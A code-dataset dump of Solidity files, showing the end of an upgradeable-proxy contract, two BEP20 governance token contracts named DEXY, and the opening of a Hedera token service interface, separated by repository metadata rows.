require(Address.isContract(newBeacon), "ERC1967: new beacon is not a contract");
require(Address.isContract(IBeacon(newBeacon).implementation()),
"ERC1967: beacon implementation is not a contract");
StorageSlot.getAddressSlot(_BEACON_SLOT).value = newBeacon;
}
function _upgradeBeaconToAndCall(address newBeacon,
bytes memory data,
bool forceCall) internal {
_setBeacon(newBeacon);
emit BeaconUpgraded(newBeacon);
if (data.length > 0 || forceCall) {
Address.functionDelegateCall(IBeacon(newBeacon).implementation(), data);
}
}
}
contract ERC1967Proxy is Proxy, ERC1967Upgrade {
constructor(address _logic, bytes memory _data) payable {
assert(_IMPLEMENTATION_SLOT == bytes32(uint256(keccak256("eip1967.proxy.implementation")) - 1));
_upgradeToAndCall(_logic, _data, false);
}
function _implementation() internal view virtual override returns (address impl) {
return ERC1967Upgrade._getImplementation();
}
}
contract TransparentUpgradeableProxy is ERC1967Proxy {
constructor(address _logic,
address admin_,
bytes memory _data) payable ERC1967Proxy(_logic, _data) {
assert(_ADMIN_SLOT == bytes32(uint256(keccak256("eip1967.proxy.admin")) - 1));
_changeAdmin(admin_);
}
modifier ifAdmin() {
if (msg.sender == _getAdmin()) {
_;
} else {
_fallback();
}
}
function admin() external ifAdmin returns (address admin_) {
admin_ = _getAdmin();
}
function implementation() external ifAdmin returns (address implementation_) {
implementation_ = _implementation();
}
function changeAdmin(address newAdmin) external virtual ifAdmin {
_changeAdmin(newAdmin);
}
function upgradeTo(address newImplementation) external ifAdmin {
_upgradeToAndCall(newImplementation, bytes(""), false);
}
function upgradeToAndCall(address newImplementation, bytes calldata data) external payable ifAdmin {
_upgradeToAndCall(newImplementation, data, true);
}
function _admin() internal view virtual returns (address) {
return _getAdmin();
}
function _beforeFallback() internal virtual override {
require(msg.sender != _getAdmin(), "TransparentUpgradeableProxy: admin cannot fallback to proxy target");
super._beforeFallback();
}
}
contract VaultProxy is TransparentUpgradeableProxy {
constructor(address _logic,
address admin_,
bytes memory _calldata)
TransparentUpgradeableProxy(_logic,
admin_,
_calldata) {}
}
| 77,174 | 13,975 |
83dbfbbb8d9cf0bbf5dbc32b40dcfdc9830dae1077dfd3ebd75c39e2c3591197
| 38,080 |
.sol
|
Solidity
| false |
454032456
|
tintinweb/smart-contract-sanctuary-avalanche
|
39792ff211cb89e79e9eb6ee7278f6843acb5cc6
|
contracts/mainnet/a0/a07306c0c8d93ed9d1833da9f31cbde37aff4f3f_DEXY.sol
| 4,866 | 19,089 |
// SPDX-License-Identifier: MIT
pragma solidity 0.6.12;
//
contract Context {
// Empty internal constructor, to prevent people from mistakenly deploying
// an instance of this contract, which should be used via inheritance.
constructor() internal {}
function _msgSender() internal view returns (address payable) {
return msg.sender;
}
function _msgData() internal view returns (bytes memory) {
this;
return msg.data;
}
}
//
contract Ownable is Context {
address private _owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
constructor() internal {
address msgSender = _msgSender();
_owner = msgSender;
emit OwnershipTransferred(address(0), msgSender);
}
function owner() public view returns (address) {
return _owner;
}
modifier onlyOwner() {
require(_owner == _msgSender(), 'Ownable: caller is not the owner');
_;
}
function renounceOwnership() public onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
function transferOwnership(address newOwner) public onlyOwner {
_transferOwnership(newOwner);
}
function _transferOwnership(address newOwner) internal {
require(newOwner != address(0), 'Ownable: new owner is the zero address');
emit OwnershipTransferred(_owner, newOwner);
_owner = newOwner;
}
}
//
interface IBEP20 {
function totalSupply() external view returns (uint256);
function decimals() external view returns (uint8);
function symbol() external view returns (string memory);
function name() external view returns (string memory);
function getOwner() external view returns (address);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address _owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(address sender,
address recipient,
uint256 amount) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
//
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, 'SafeMath: addition overflow');
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, 'SafeMath: subtraction overflow');
}
function sub(uint256 a,
uint256 b,
string memory errorMessage) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
// Gas optimization: this is cheaper than requiring 'a' not being zero, but the
// benefit is lost if 'b' is also tested.
// See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, 'SafeMath: multiplication overflow');
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, 'SafeMath: division by zero');
}
function div(uint256 a,
uint256 b,
string memory errorMessage) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
return mod(a, b, 'SafeMath: modulo by zero');
}
function mod(uint256 a,
uint256 b,
string memory errorMessage) internal pure returns (uint256) {
require(b != 0, errorMessage);
return a % b;
}
function min(uint256 x, uint256 y) internal pure returns (uint256 z) {
z = x < y ? x : y;
}
function sqrt(uint256 y) internal pure returns (uint256 z) {
if (y > 3) {
z = y;
uint256 x = y / 2 + 1;
while (x < z) {
z = x;
x = (y / x + x) / 2;
}
} else if (y != 0) {
z = 1;
}
}
}
//
library Address {
function isContract(address account) internal view returns (bool) {
// According to EIP-1052, 0x0 is the value returned for not-yet created accounts
// and 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470 is returned
// for accounts without code, i.e. `keccak256('')`
bytes32 codehash;
bytes32 accountHash = 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470;
// solhint-disable-next-line no-inline-assembly
assembly {
codehash := extcodehash(account)
}
return (codehash != accountHash && codehash != 0x0);
}
function sendValue(address payable recipient, uint256 amount) internal {
require(address(this).balance >= amount, 'Address: insufficient balance');
// solhint-disable-next-line avoid-low-level-calls, avoid-call-value
(bool success,) = recipient.call{value: amount}('');
require(success, 'Address: unable to send value, recipient may have reverted');
}
function functionCall(address target, bytes memory data) internal returns (bytes memory) {
return functionCall(target, data, 'Address: low-level call failed');
}
function functionCall(address target,
bytes memory data,
string memory errorMessage) internal returns (bytes memory) {
return _functionCallWithValue(target, data, 0, errorMessage);
}
function functionCallWithValue(address target,
bytes memory data,
uint256 value) internal returns (bytes memory) {
return functionCallWithValue(target, data, value, 'Address: low-level call with value failed');
}
function functionCallWithValue(address target,
bytes memory data,
uint256 value,
string memory errorMessage) internal returns (bytes memory) {
require(address(this).balance >= value, 'Address: insufficient balance for call');
return _functionCallWithValue(target, data, value, errorMessage);
}
function _functionCallWithValue(address target,
bytes memory data,
uint256 weiValue,
string memory errorMessage) private returns (bytes memory) {
require(isContract(target), 'Address: call to non-contract');
// solhint-disable-next-line avoid-low-level-calls
(bool success, bytes memory returndata) = target.call{value: weiValue}(data);
if (success) {
return returndata;
} else {
// Look for revert reason and bubble it up if present
if (returndata.length > 0) {
// The easiest way to bubble the revert reason is using memory via assembly
// solhint-disable-next-line no-inline-assembly
assembly {
let returndata_size := mload(returndata)
revert(add(32, returndata), returndata_size)
}
} else {
revert(errorMessage);
}
}
}
}
//
contract BEP20 is Context, IBEP20, Ownable {
using SafeMath for uint256;
using Address for address;
mapping(address => uint256) private _balances;
mapping(address => mapping(address => uint256)) private _allowances;
uint256 private _totalSupply;
string private _name;
string private _symbol;
uint8 private _decimals;
constructor(string memory name, string memory symbol) public {
_name = name;
_symbol = symbol;
_decimals = 18;
}
function getOwner() external override view returns (address) {
return owner();
}
function name() public override view returns (string memory) {
return _name;
}
function decimals() public override view returns (uint8) {
return _decimals;
}
function symbol() public override view returns (string memory) {
return _symbol;
}
function totalSupply() public override view returns (uint256) {
return _totalSupply;
}
function balanceOf(address account) public override view returns (uint256) {
return _balances[account];
}
function transfer(address recipient, uint256 amount) public override returns (bool) {
_transfer(_msgSender(), recipient, amount);
return true;
}
function allowance(address owner, address spender) public override view returns (uint256) {
return _allowances[owner][spender];
}
function approve(address spender, uint256 amount) public override returns (bool) {
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(address sender,
address recipient,
uint256 amount) public override returns (bool) {
_transfer(sender, recipient, amount);
_approve(sender,
_msgSender(),
_allowances[sender][_msgSender()].sub(amount, 'BEP20: transfer amount exceeds allowance'));
return true;
}
function increaseAllowance(address spender, uint256 addedValue) public returns (bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender].add(addedValue));
return true;
}
function decreaseAllowance(address spender, uint256 subtractedValue) public returns (bool) {
_approve(_msgSender(),
spender,
_allowances[_msgSender()][spender].sub(subtractedValue, 'BEP20: decreased allowance below zero'));
return true;
}
function mint(uint256 amount) public onlyOwner returns (bool) {
_mint(_msgSender(), amount);
return true;
}
function _transfer(address sender,
address recipient,
uint256 amount) internal {
require(sender != address(0), 'BEP20: transfer from the zero address');
require(recipient != address(0), 'BEP20: transfer to the zero address');
_balances[sender] = _balances[sender].sub(amount, 'BEP20: transfer amount exceeds balance');
_balances[recipient] = _balances[recipient].add(amount);
emit Transfer(sender, recipient, amount);
}
function _mint(address account, uint256 amount) internal {
require(account != address(0), 'BEP20: mint to the zero address');
_totalSupply = _totalSupply.add(amount);
_balances[account] = _balances[account].add(amount);
emit Transfer(address(0), account, amount);
}
function _burn(address account, uint256 amount) internal {
require(account != address(0), 'BEP20: burn from the zero address');
_balances[account] = _balances[account].sub(amount, 'BEP20: burn amount exceeds balance');
_totalSupply = _totalSupply.sub(amount);
emit Transfer(account, address(0), amount);
}
function _approve(address owner,
address spender,
uint256 amount) internal {
require(owner != address(0), 'BEP20: approve from the zero address');
require(spender != address(0), 'BEP20: approve to the zero address');
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
function _burnFrom(address account, uint256 amount) internal {
_burn(account, amount);
_approve(account,
_msgSender(),
_allowances[account][_msgSender()].sub(amount, 'BEP20: burn amount exceeds allowance'));
}
}
// Dexy with Governance.
contract DEXY is BEP20('TestDexy', '$TDEXY') {
/// @notice Creates `_amount` token to `_to`. Must only be called by the owner (MasterChef).
function mint(address _to, uint256 _amount) public onlyOwner {
_mint(_to, _amount);
_moveDelegates(address(0), _delegates[_to], _amount);
}
// Copied and modified from YAM code:
// https://github.com/yam-finance/yam-protocol/blob/master/contracts/token/YAMGovernanceStorage.sol
// https://github.com/yam-finance/yam-protocol/blob/master/contracts/token/YAMGovernance.sol
// Which is copied and modified from COMPOUND:
// https://github.com/compound-finance/compound-protocol/blob/master/contracts/Governance/Comp.sol
/// @dev A record of each accounts delegate
mapping (address => address) internal _delegates;
/// @notice A checkpoint for marking number of votes from a given block
struct Checkpoint {
uint32 fromBlock;
uint256 votes;
}
/// @notice A record of votes checkpoints for each account, by index
mapping (address => mapping (uint32 => Checkpoint)) public checkpoints;
/// @notice The number of checkpoints for each account
mapping (address => uint32) public numCheckpoints;
/// @notice The EIP-712 typehash for the contract's domain
bytes32 public constant DOMAIN_TYPEHASH = keccak256("EIP712Domain(string name,uint256 chainId,address verifyingContract)");
/// @notice The EIP-712 typehash for the delegation struct used by the contract
bytes32 public constant DELEGATION_TYPEHASH = keccak256("Delegation(address delegatee,uint256 nonce,uint256 expiry)");
/// @notice A record of states for signing / validating signatures
mapping (address => uint) public nonces;
/// @notice An event thats emitted when an account changes its delegate
event DelegateChanged(address indexed delegator, address indexed fromDelegate, address indexed toDelegate);
/// @notice An event thats emitted when a delegate account's vote balance changes
event DelegateVotesChanged(address indexed delegate, uint previousBalance, uint newBalance);
function delegates(address delegator)
external
view
returns (address)
{
return _delegates[delegator];
}
function delegate(address delegatee) external {
return _delegate(msg.sender, delegatee);
}
function delegateBySig(address delegatee,
uint nonce,
uint expiry,
uint8 v,
bytes32 r,
bytes32 s)
external
{
bytes32 domainSeparator = keccak256(abi.encode(DOMAIN_TYPEHASH,
keccak256(bytes(name())),
getChainId(),
address(this)));
bytes32 structHash = keccak256(abi.encode(DELEGATION_TYPEHASH,
delegatee,
nonce,
expiry));
bytes32 digest = keccak256(abi.encodePacked("\x19\x01",
domainSeparator,
structHash));
address signatory = ecrecover(digest, v, r, s);
require(signatory != address(0), "DEXY::delegateBySig: invalid signature");
require(nonce == nonces[signatory]++, "DEXY::delegateBySig: invalid nonce");
require(now <= expiry, "DEXY::delegateBySig: signature expired");
return _delegate(signatory, delegatee);
}
function getCurrentVotes(address account)
external
view
returns (uint256)
{
uint32 nCheckpoints = numCheckpoints[account];
return nCheckpoints > 0 ? checkpoints[account][nCheckpoints - 1].votes : 0;
}
function getPriorVotes(address account, uint blockNumber)
external
view
returns (uint256)
{
require(blockNumber < block.number, "DEXY::getPriorVotes: not yet determined");
uint32 nCheckpoints = numCheckpoints[account];
if (nCheckpoints == 0) {
return 0;
}
// First check most recent balance
if (checkpoints[account][nCheckpoints - 1].fromBlock <= blockNumber) {
return checkpoints[account][nCheckpoints - 1].votes;
}
// Next check implicit zero balance
if (checkpoints[account][0].fromBlock > blockNumber) {
return 0;
}
uint32 lower = 0;
uint32 upper = nCheckpoints - 1;
while (upper > lower) {
uint32 center = upper - (upper - lower) / 2; // ceil, avoiding overflow
Checkpoint memory cp = checkpoints[account][center];
if (cp.fromBlock == blockNumber) {
return cp.votes;
} else if (cp.fromBlock < blockNumber) {
lower = center;
} else {
upper = center - 1;
}
}
return checkpoints[account][lower].votes;
}
function _delegate(address delegator, address delegatee)
internal
{
address currentDelegate = _delegates[delegator];
uint256 delegatorBalance = balanceOf(delegator); // balance of underlying DEXY (not scaled);
_delegates[delegator] = delegatee;
emit DelegateChanged(delegator, currentDelegate, delegatee);
_moveDelegates(currentDelegate, delegatee, delegatorBalance);
}
function _moveDelegates(address srcRep, address dstRep, uint256 amount) internal {
if (srcRep != dstRep && amount > 0) {
if (srcRep != address(0)) {
// decrease old representative
uint32 srcRepNum = numCheckpoints[srcRep];
uint256 srcRepOld = srcRepNum > 0 ? checkpoints[srcRep][srcRepNum - 1].votes : 0;
uint256 srcRepNew = srcRepOld.sub(amount);
_writeCheckpoint(srcRep, srcRepNum, srcRepOld, srcRepNew);
}
if (dstRep != address(0)) {
// increase new representative
uint32 dstRepNum = numCheckpoints[dstRep];
uint256 dstRepOld = dstRepNum > 0 ? checkpoints[dstRep][dstRepNum - 1].votes : 0;
uint256 dstRepNew = dstRepOld.add(amount);
_writeCheckpoint(dstRep, dstRepNum, dstRepOld, dstRepNew);
}
}
}
function _writeCheckpoint(address delegatee,
uint32 nCheckpoints,
uint256 oldVotes,
uint256 newVotes)
internal
{
uint32 blockNumber = safe32(block.number, "DEXY::_writeCheckpoint: block number exceeds 32 bits");
if (nCheckpoints > 0 && checkpoints[delegatee][nCheckpoints - 1].fromBlock == blockNumber) {
checkpoints[delegatee][nCheckpoints - 1].votes = newVotes;
} else {
checkpoints[delegatee][nCheckpoints] = Checkpoint(blockNumber, newVotes);
numCheckpoints[delegatee] = nCheckpoints + 1;
}
emit DelegateVotesChanged(delegatee, oldVotes, newVotes);
}
function safe32(uint n, string memory errorMessage) internal pure returns (uint32) {
require(n < 2**32, errorMessage);
return uint32(n);
}
function getChainId() internal pure returns (uint) {
uint256 chainId;
assembly { chainId := chainid() }
return chainId;
}
}
| 88,381 | 13,976 |
37c24d3558928f8ca688c56429a6530859b5ccd8cc18dd1705e6b8ed89bb52cd
| 38,075 |
.sol
|
Solidity
| false |
454032456
|
tintinweb/smart-contract-sanctuary-avalanche
|
39792ff211cb89e79e9eb6ee7278f6843acb5cc6
|
contracts/mainnet/f2/f26036E30B4949F17ef59d9E0cff7A90285E26A2_DEXY.sol
| 4,864 | 19,084 |
// SPDX-License-Identifier: MIT
pragma solidity 0.6.12;
//
contract Context {
// Empty internal constructor, to prevent people from mistakenly deploying
// an instance of this contract, which should be used via inheritance.
constructor() internal {}
function _msgSender() internal view returns (address payable) {
return msg.sender;
}
function _msgData() internal view returns (bytes memory) {
this;
return msg.data;
}
}
//
contract Ownable is Context {
address private _owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
constructor() internal {
address msgSender = _msgSender();
_owner = msgSender;
emit OwnershipTransferred(address(0), msgSender);
}
function owner() public view returns (address) {
return _owner;
}
modifier onlyOwner() {
require(_owner == _msgSender(), 'Ownable: caller is not the owner');
_;
}
function renounceOwnership() public onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
function transferOwnership(address newOwner) public onlyOwner {
_transferOwnership(newOwner);
}
function _transferOwnership(address newOwner) internal {
require(newOwner != address(0), 'Ownable: new owner is the zero address');
emit OwnershipTransferred(_owner, newOwner);
_owner = newOwner;
}
}
//
interface IBEP20 {
function totalSupply() external view returns (uint256);
function decimals() external view returns (uint8);
function symbol() external view returns (string memory);
function name() external view returns (string memory);
function getOwner() external view returns (address);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address _owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(address sender,
address recipient,
uint256 amount) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
//
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, 'SafeMath: addition overflow');
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, 'SafeMath: subtraction overflow');
}
function sub(uint256 a,
uint256 b,
string memory errorMessage) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
// Gas optimization: this is cheaper than requiring 'a' not being zero, but the
// benefit is lost if 'b' is also tested.
// See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, 'SafeMath: multiplication overflow');
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, 'SafeMath: division by zero');
}
function div(uint256 a,
uint256 b,
string memory errorMessage) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
return mod(a, b, 'SafeMath: modulo by zero');
}
function mod(uint256 a,
uint256 b,
string memory errorMessage) internal pure returns (uint256) {
require(b != 0, errorMessage);
return a % b;
}
function min(uint256 x, uint256 y) internal pure returns (uint256 z) {
z = x < y ? x : y;
}
function sqrt(uint256 y) internal pure returns (uint256 z) {
if (y > 3) {
z = y;
uint256 x = y / 2 + 1;
while (x < z) {
z = x;
x = (y / x + x) / 2;
}
} else if (y != 0) {
z = 1;
}
}
}
//
library Address {
function isContract(address account) internal view returns (bool) {
// According to EIP-1052, 0x0 is the value returned for not-yet created accounts
// and 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470 is returned
// for accounts without code, i.e. `keccak256('')`
bytes32 codehash;
bytes32 accountHash = 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470;
// solhint-disable-next-line no-inline-assembly
assembly {
codehash := extcodehash(account)
}
return (codehash != accountHash && codehash != 0x0);
}
function sendValue(address payable recipient, uint256 amount) internal {
require(address(this).balance >= amount, 'Address: insufficient balance');
// solhint-disable-next-line avoid-low-level-calls, avoid-call-value
(bool success,) = recipient.call{value: amount}('');
require(success, 'Address: unable to send value, recipient may have reverted');
}
function functionCall(address target, bytes memory data) internal returns (bytes memory) {
return functionCall(target, data, 'Address: low-level call failed');
}
function functionCall(address target,
bytes memory data,
string memory errorMessage) internal returns (bytes memory) {
return _functionCallWithValue(target, data, 0, errorMessage);
}
function functionCallWithValue(address target,
bytes memory data,
uint256 value) internal returns (bytes memory) {
return functionCallWithValue(target, data, value, 'Address: low-level call with value failed');
}
function functionCallWithValue(address target,
bytes memory data,
uint256 value,
string memory errorMessage) internal returns (bytes memory) {
require(address(this).balance >= value, 'Address: insufficient balance for call');
return _functionCallWithValue(target, data, value, errorMessage);
}
function _functionCallWithValue(address target,
bytes memory data,
uint256 weiValue,
string memory errorMessage) private returns (bytes memory) {
require(isContract(target), 'Address: call to non-contract');
// solhint-disable-next-line avoid-low-level-calls
(bool success, bytes memory returndata) = target.call{value: weiValue}(data);
if (success) {
return returndata;
} else {
// Look for revert reason and bubble it up if present
if (returndata.length > 0) {
// The easiest way to bubble the revert reason is using memory via assembly
// solhint-disable-next-line no-inline-assembly
assembly {
let returndata_size := mload(returndata)
revert(add(32, returndata), returndata_size)
}
} else {
revert(errorMessage);
}
}
}
}
//
contract BEP20 is Context, IBEP20, Ownable {
using SafeMath for uint256;
using Address for address;
mapping(address => uint256) private _balances;
mapping(address => mapping(address => uint256)) private _allowances;
uint256 private _totalSupply;
string private _name;
string private _symbol;
uint8 private _decimals;
constructor(string memory name, string memory symbol) public {
_name = name;
_symbol = symbol;
_decimals = 18;
}
function getOwner() external override view returns (address) {
return owner();
}
function name() public override view returns (string memory) {
return _name;
}
function decimals() public override view returns (uint8) {
return _decimals;
}
function symbol() public override view returns (string memory) {
return _symbol;
}
function totalSupply() public override view returns (uint256) {
return _totalSupply;
}
function balanceOf(address account) public override view returns (uint256) {
return _balances[account];
}
function transfer(address recipient, uint256 amount) public override returns (bool) {
_transfer(_msgSender(), recipient, amount);
return true;
}
function allowance(address owner, address spender) public override view returns (uint256) {
return _allowances[owner][spender];
}
function approve(address spender, uint256 amount) public override returns (bool) {
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(address sender,
address recipient,
uint256 amount) public override returns (bool) {
_transfer(sender, recipient, amount);
_approve(sender,
_msgSender(),
_allowances[sender][_msgSender()].sub(amount, 'BEP20: transfer amount exceeds allowance'));
return true;
}
function increaseAllowance(address spender, uint256 addedValue) public returns (bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender].add(addedValue));
return true;
}
function decreaseAllowance(address spender, uint256 subtractedValue) public returns (bool) {
_approve(_msgSender(),
spender,
_allowances[_msgSender()][spender].sub(subtractedValue, 'BEP20: decreased allowance below zero'));
return true;
}
function mint(uint256 amount) public onlyOwner returns (bool) {
_mint(_msgSender(), amount);
return true;
}
function _transfer(address sender,
address recipient,
uint256 amount) internal {
require(sender != address(0), 'BEP20: transfer from the zero address');
require(recipient != address(0), 'BEP20: transfer to the zero address');
_balances[sender] = _balances[sender].sub(amount, 'BEP20: transfer amount exceeds balance');
_balances[recipient] = _balances[recipient].add(amount);
emit Transfer(sender, recipient, amount);
}
function _mint(address account, uint256 amount) internal {
require(account != address(0), 'BEP20: mint to the zero address');
_totalSupply = _totalSupply.add(amount);
_balances[account] = _balances[account].add(amount);
emit Transfer(address(0), account, amount);
}
function _burn(address account, uint256 amount) internal {
require(account != address(0), 'BEP20: burn from the zero address');
_balances[account] = _balances[account].sub(amount, 'BEP20: burn amount exceeds balance');
_totalSupply = _totalSupply.sub(amount);
emit Transfer(account, address(0), amount);
}
function _approve(address owner,
address spender,
uint256 amount) internal {
require(owner != address(0), 'BEP20: approve from the zero address');
require(spender != address(0), 'BEP20: approve to the zero address');
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
function _burnFrom(address account, uint256 amount) internal {
_burn(account, amount);
_approve(account,
_msgSender(),
_allowances[account][_msgSender()].sub(amount, 'BEP20: burn amount exceeds allowance'));
}
}
// Dexy with Governance.
contract DEXY is BEP20('Dexy', '$DEXY') {
/// @notice Creates `_amount` token to `_to`. Must only be called by the owner (MasterChef).
function mint(address _to, uint256 _amount) public onlyOwner {
_mint(_to, _amount);
_moveDelegates(address(0), _delegates[_to], _amount);
}
// Copied and modified from YAM code:
// https://github.com/yam-finance/yam-protocol/blob/master/contracts/token/YAMGovernanceStorage.sol
// https://github.com/yam-finance/yam-protocol/blob/master/contracts/token/YAMGovernance.sol
// Which is copied and modified from COMPOUND:
// https://github.com/compound-finance/compound-protocol/blob/master/contracts/Governance/Comp.sol
/// @dev A record of each accounts delegate
mapping (address => address) internal _delegates;
/// @notice A checkpoint for marking number of votes from a given block
struct Checkpoint {
uint32 fromBlock;
uint256 votes;
}
/// @notice A record of votes checkpoints for each account, by index
mapping (address => mapping (uint32 => Checkpoint)) public checkpoints;
/// @notice The number of checkpoints for each account
mapping (address => uint32) public numCheckpoints;
/// @notice The EIP-712 typehash for the contract's domain
bytes32 public constant DOMAIN_TYPEHASH = keccak256("EIP712Domain(string name,uint256 chainId,address verifyingContract)");
/// @notice The EIP-712 typehash for the delegation struct used by the contract
bytes32 public constant DELEGATION_TYPEHASH = keccak256("Delegation(address delegatee,uint256 nonce,uint256 expiry)");
/// @notice A record of states for signing / validating signatures
mapping (address => uint) public nonces;
/// @notice An event thats emitted when an account changes its delegate
event DelegateChanged(address indexed delegator, address indexed fromDelegate, address indexed toDelegate);
/// @notice An event thats emitted when a delegate account's vote balance changes
event DelegateVotesChanged(address indexed delegate, uint previousBalance, uint newBalance);
function delegates(address delegator)
external
view
returns (address)
{
return _delegates[delegator];
}
function delegate(address delegatee) external {
return _delegate(msg.sender, delegatee);
}
function delegateBySig(address delegatee,
uint nonce,
uint expiry,
uint8 v,
bytes32 r,
bytes32 s)
external
{
bytes32 domainSeparator = keccak256(abi.encode(DOMAIN_TYPEHASH,
keccak256(bytes(name())),
getChainId(),
address(this)));
bytes32 structHash = keccak256(abi.encode(DELEGATION_TYPEHASH,
delegatee,
nonce,
expiry));
bytes32 digest = keccak256(abi.encodePacked("\x19\x01",
domainSeparator,
structHash));
address signatory = ecrecover(digest, v, r, s);
require(signatory != address(0), "DEXY::delegateBySig: invalid signature");
require(nonce == nonces[signatory]++, "DEXY::delegateBySig: invalid nonce");
require(now <= expiry, "DEXY::delegateBySig: signature expired");
return _delegate(signatory, delegatee);
}
function getCurrentVotes(address account)
external
view
returns (uint256)
{
uint32 nCheckpoints = numCheckpoints[account];
return nCheckpoints > 0 ? checkpoints[account][nCheckpoints - 1].votes : 0;
}
function getPriorVotes(address account, uint blockNumber)
external
view
returns (uint256)
{
require(blockNumber < block.number, "DEXY::getPriorVotes: not yet determined");
uint32 nCheckpoints = numCheckpoints[account];
if (nCheckpoints == 0) {
return 0;
}
// First check most recent balance
if (checkpoints[account][nCheckpoints - 1].fromBlock <= blockNumber) {
return checkpoints[account][nCheckpoints - 1].votes;
}
// Next check implicit zero balance
if (checkpoints[account][0].fromBlock > blockNumber) {
return 0;
}
uint32 lower = 0;
uint32 upper = nCheckpoints - 1;
while (upper > lower) {
uint32 center = upper - (upper - lower) / 2; // ceil, avoiding overflow
Checkpoint memory cp = checkpoints[account][center];
if (cp.fromBlock == blockNumber) {
return cp.votes;
} else if (cp.fromBlock < blockNumber) {
lower = center;
} else {
upper = center - 1;
}
}
return checkpoints[account][lower].votes;
}
function _delegate(address delegator, address delegatee)
internal
{
address currentDelegate = _delegates[delegator];
uint256 delegatorBalance = balanceOf(delegator); // balance of underlying DEXY (not scaled);
_delegates[delegator] = delegatee;
emit DelegateChanged(delegator, currentDelegate, delegatee);
_moveDelegates(currentDelegate, delegatee, delegatorBalance);
}
function _moveDelegates(address srcRep, address dstRep, uint256 amount) internal {
if (srcRep != dstRep && amount > 0) {
if (srcRep != address(0)) {
// decrease old representative
uint32 srcRepNum = numCheckpoints[srcRep];
uint256 srcRepOld = srcRepNum > 0 ? checkpoints[srcRep][srcRepNum - 1].votes : 0;
uint256 srcRepNew = srcRepOld.sub(amount);
_writeCheckpoint(srcRep, srcRepNum, srcRepOld, srcRepNew);
}
if (dstRep != address(0)) {
// increase new representative
uint32 dstRepNum = numCheckpoints[dstRep];
uint256 dstRepOld = dstRepNum > 0 ? checkpoints[dstRep][dstRepNum - 1].votes : 0;
uint256 dstRepNew = dstRepOld.add(amount);
_writeCheckpoint(dstRep, dstRepNum, dstRepOld, dstRepNew);
}
}
}
function _writeCheckpoint(address delegatee,
uint32 nCheckpoints,
uint256 oldVotes,
uint256 newVotes)
internal
{
uint32 blockNumber = safe32(block.number, "DEXY::_writeCheckpoint: block number exceeds 32 bits");
if (nCheckpoints > 0 && checkpoints[delegatee][nCheckpoints - 1].fromBlock == blockNumber) {
checkpoints[delegatee][nCheckpoints - 1].votes = newVotes;
} else {
checkpoints[delegatee][nCheckpoints] = Checkpoint(blockNumber, newVotes);
numCheckpoints[delegatee] = nCheckpoints + 1;
}
emit DelegateVotesChanged(delegatee, oldVotes, newVotes);
}
function safe32(uint n, string memory errorMessage) internal pure returns (uint32) {
require(n < 2**32, errorMessage);
return uint32(n);
}
function getChainId() internal pure returns (uint) {
uint256 chainId;
assembly { chainId := chainid() }
return chainId;
}
}
| 83,919 | 13,977 |
bfb0fb69a04ad1d5c0efe2b94b0f84b8ab7142e721012bff3c429a528b57e472
| 11,583 |
.sol
|
Solidity
| false |
476755832
|
dovuofficial/hedera-hardhat-tooling
|
52bc2d802c25708a780c15f3f0710a028c934dc7
|
contracts/libraries/hashgraph/IHederaTokenService.sol
| 2,105 | 9,464 |
// SPDX-License-Identifier: Apache-2.0
pragma solidity >=0.4.9 <0.9.0;
pragma experimental ABIEncoderV2;
interface IHederaTokenService {
/// Transfers cryptocurrency among two or more accounts by making the desired adjustments to their
/// balances. Each transfer list can specify up to 10 adjustments. Each negative amount is withdrawn
/// from the corresponding account (a sender), and each positive one is added to the corresponding
/// account (a receiver). The amounts list must sum to zero. Each amount is a number of tinybars
/// (there are 100,000,000 tinybars in one hbar). If any sender account fails to have sufficient
